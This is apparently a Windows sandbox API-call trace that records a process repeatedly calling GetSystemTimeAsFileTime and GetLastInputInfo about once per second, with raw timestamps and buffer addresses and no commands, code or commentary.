	[0436.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x68523a30, dwHighDateTime=0x1d3d6cf)) 
	[0436.239] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0437.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x68ecf390, dwHighDateTime=0x1d3d6cf)) 
	[0437.260] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0438.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6987acf0, dwHighDateTime=0x1d3d6cf)) 
	[0438.267] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0439.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6a226650, dwHighDateTime=0x1d3d6cf)) 
	[0439.281] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0440.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6abd1fb0, dwHighDateTime=0x1d3d6cf)) 
	[0440.298] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0441.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6b57d910, dwHighDateTime=0x1d3d6cf)) 
	[0441.309] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0442.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6bf29270, dwHighDateTime=0x1d3d6cf)) 
	[0442.324] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0443.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6c8d4bd0, dwHighDateTime=0x1d3d6cf)) 
	[0443.341] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0444.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6d280530, dwHighDateTime=0x1d3d6cf)) 
	[0444.351] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0445.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6dc2be90, dwHighDateTime=0x1d3d6cf)) 
	[0445.371] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0446.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6e5d77f0, dwHighDateTime=0x1d3d6cf)) 
	[0446.391] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0447.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6ef83150, dwHighDateTime=0x1d3d6cf)) 
	[0447.401] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0448.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6f92eab0, dwHighDateTime=0x1d3d6cf)) 
	[0448.407] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0449.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x702da410, dwHighDateTime=0x1d3d6cf)) 
	[0449.427] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0450.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x70c85d70, dwHighDateTime=0x1d3d6cf)) 
	[0450.444] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0451.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x716316d0, dwHighDateTime=0x1d3d6cf)) 
	[0451.456] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0452.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x71fdd030, dwHighDateTime=0x1d3d6cf)) 
	[0452.468] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0453.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x72988990, dwHighDateTime=0x1d3d6cf)) 
	[0453.487] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0454.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x733342f0, dwHighDateTime=0x1d3d6cf)) 
	[0454.499] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0455.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x73cdfc50, dwHighDateTime=0x1d3d6cf)) 
	[0455.516] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0456.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7468b5b0, dwHighDateTime=0x1d3d6cf)) 
	[0456.528] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0457.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x75036f10, dwHighDateTime=0x1d3d6cf)) 
	[0457.572] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0458.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x759e2870, dwHighDateTime=0x1d3d6cf)) 
	[0458.586] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0459.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7638e1d0, dwHighDateTime=0x1d3d6cf)) 
	[0459.601] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0460.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x76d39b30, dwHighDateTime=0x1d3d6cf)) 
	[0460.619] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0461.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x776e5490, dwHighDateTime=0x1d3d6cf)) 
	[0461.628] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0462.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x78090df0, dwHighDateTime=0x1d3d6cf)) 
	[0462.646] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0463.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x78a3c750, dwHighDateTime=0x1d3d6cf)) 
	[0463.662] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0464.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x793e80b0, dwHighDateTime=0x1d3d6cf)) 
	[0464.671] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0465.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x79d93a10, dwHighDateTime=0x1d3d6cf)) 
	[0465.685] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0466.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7a73f370, dwHighDateTime=0x1d3d6cf)) 
	[0466.699] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0467.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7b0eacd0, dwHighDateTime=0x1d3d6cf)) 
	[0467.712] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0468.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7ba96630, dwHighDateTime=0x1d3d6cf)) 
	[0468.726] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0469.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7c441f90, dwHighDateTime=0x1d3d6cf)) 
	[0469.739] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0470.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7cded8f0, dwHighDateTime=0x1d3d6cf)) 
	[0470.772] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0471.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7d799250, dwHighDateTime=0x1d3d6cf)) 
	[0471.785] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0472.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7e144bb0, dwHighDateTime=0x1d3d6cf)) 
	[0472.830] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0473.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7eaf0510, dwHighDateTime=0x1d3d6cf)) 
	[0473.845] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0474.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7f49be70, dwHighDateTime=0x1d3d6cf)) 
	[0474.862] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0475.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7fe477d0, dwHighDateTime=0x1d3d6cf)) 
	[0475.886] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0476.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x807f3130, dwHighDateTime=0x1d3d6cf)) 
	[0476.903] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0477.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8119ea90, dwHighDateTime=0x1d3d6cf)) 
	[0477.964] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0479.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x81b4a3f0, dwHighDateTime=0x1d3d6cf)) 
	[0479.005] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0480.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x824f5d50, dwHighDateTime=0x1d3d6cf)) 
	[0480.021] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0481.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x82ea16b0, dwHighDateTime=0x1d3d6cf)) 
	[0481.040] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0482.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8384d010, dwHighDateTime=0x1d3d6cf)) 
	[0482.049] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0483.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x841f8970, dwHighDateTime=0x1d3d6cf)) 
	[0483.066] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0484.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x84ba42d0, dwHighDateTime=0x1d3d6cf)) 
	[0484.078] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0485.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8554fc30, dwHighDateTime=0x1d3d6cf)) 
	[0485.092] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0486.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x85efb590, dwHighDateTime=0x1d3d6cf)) 
	[0486.105] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0487.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x868a6ef0, dwHighDateTime=0x1d3d6cf)) 
	[0487.114] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0488.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x87252850, dwHighDateTime=0x1d3d6cf)) 
	[0488.133] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0489.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x87bfe1b0, dwHighDateTime=0x1d3d6cf)) 
	[0489.148] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0490.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x885a9b10, dwHighDateTime=0x1d3d6cf)) 
	[0490.164] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0491.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x88f55470, dwHighDateTime=0x1d3d6cf)) 
	[0491.174] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0492.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x89900dd0, dwHighDateTime=0x1d3d6cf)) 
	[0492.195] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0493.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8a2ac730, dwHighDateTime=0x1d3d6cf)) 
	[0493.203] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0494.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8ac58090, dwHighDateTime=0x1d3d6cf)) 
	[0494.217] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0495.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8b6039f0, dwHighDateTime=0x1d3d6cf)) 
	[0495.223] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0496.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8bfaf350, dwHighDateTime=0x1d3d6cf)) 
	[0496.261] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0497.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8c95acb0, dwHighDateTime=0x1d3d6cf)) 
	[0497.274] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0498.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8d306610, dwHighDateTime=0x1d3d6cf)) 
	[0498.290] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0499.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8dcb1f70, dwHighDateTime=0x1d3d6cf)) 
	[0499.302] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0500.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8e65d8d0, dwHighDateTime=0x1d3d6cf)) 
	[0500.316] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0501.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8f02f390, dwHighDateTime=0x1d3d6cf)) 
	[0501.346] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0502.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8f9dacf0, dwHighDateTime=0x1d3d6cf)) 
	[0502.362] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0503.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x90386650, dwHighDateTime=0x1d3d6cf)) 
	[0503.374] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0504.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x90d31fb0, dwHighDateTime=0x1d3d6cf)) 
	[0504.386] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0505.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x916dd910, dwHighDateTime=0x1d3d6cf)) 
	[0505.401] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0506.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x92089270, dwHighDateTime=0x1d3d6cf)) 
	[0506.465] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0507.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x92a34bd0, dwHighDateTime=0x1d3d6cf)) 
	[0507.477] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0508.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x933e0530, dwHighDateTime=0x1d3d6cf)) 
	[0508.490] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0509.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x93d8be90, dwHighDateTime=0x1d3d6cf)) 
	[0509.531] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0510.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x947377f0, dwHighDateTime=0x1d3d6cf)) 
	[0510.533] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0511.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x950e3150, dwHighDateTime=0x1d3d6cf)) 
	[0511.548] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0512.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x95a8eab0, dwHighDateTime=0x1d3d6cf)) 
	[0512.564] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0513.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9643a410, dwHighDateTime=0x1d3d6cf)) 
	[0513.579] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0514.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x96de5d70, dwHighDateTime=0x1d3d6cf)) 
	[0514.590] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0515.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x977916d0, dwHighDateTime=0x1d3d6cf)) 
	[0515.610] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0516.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9813d030, dwHighDateTime=0x1d3d6cf)) 
	[0516.610] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0517.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x98ae8990, dwHighDateTime=0x1d3d6cf)) 
	[0517.633] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0518.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x994942f0, dwHighDateTime=0x1d3d6cf)) 
	[0518.648] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0519.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x99e3fc50, dwHighDateTime=0x1d3d6cf)) 
	[0519.662] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0520.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9a7eb5b0, dwHighDateTime=0x1d3d6cf)) 
	[0520.674] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0521.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9b196f10, dwHighDateTime=0x1d3d6cf)) 
	[0521.689] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0522.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9bb42870, dwHighDateTime=0x1d3d6cf)) 
	[0522.704] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0523.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9c4ee1d0, dwHighDateTime=0x1d3d6cf)) 
	[0523.717] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0524.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9ce99b30, dwHighDateTime=0x1d3d6cf)) 
	[0524.730] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0525.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9d845490, dwHighDateTime=0x1d3d6cf)) 
	[0525.744] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0526.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9e1f0df0, dwHighDateTime=0x1d3d6cf)) 
	[0526.759] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0527.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9eb9c750, dwHighDateTime=0x1d3d6cf)) 
	[0527.772] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0528.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9f5480b0, dwHighDateTime=0x1d3d6cf)) 
	[0528.779] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0529.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9fef3a10, dwHighDateTime=0x1d3d6cf)) 
	[0529.794] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0530.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa089f370, dwHighDateTime=0x1d3d6cf)) 
	[0530.816] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0531.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa124acd0, dwHighDateTime=0x1d3d6cf)) 
	[0531.831] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0532.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa1c1c790, dwHighDateTime=0x1d3d6cf)) 
	[0532.855] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
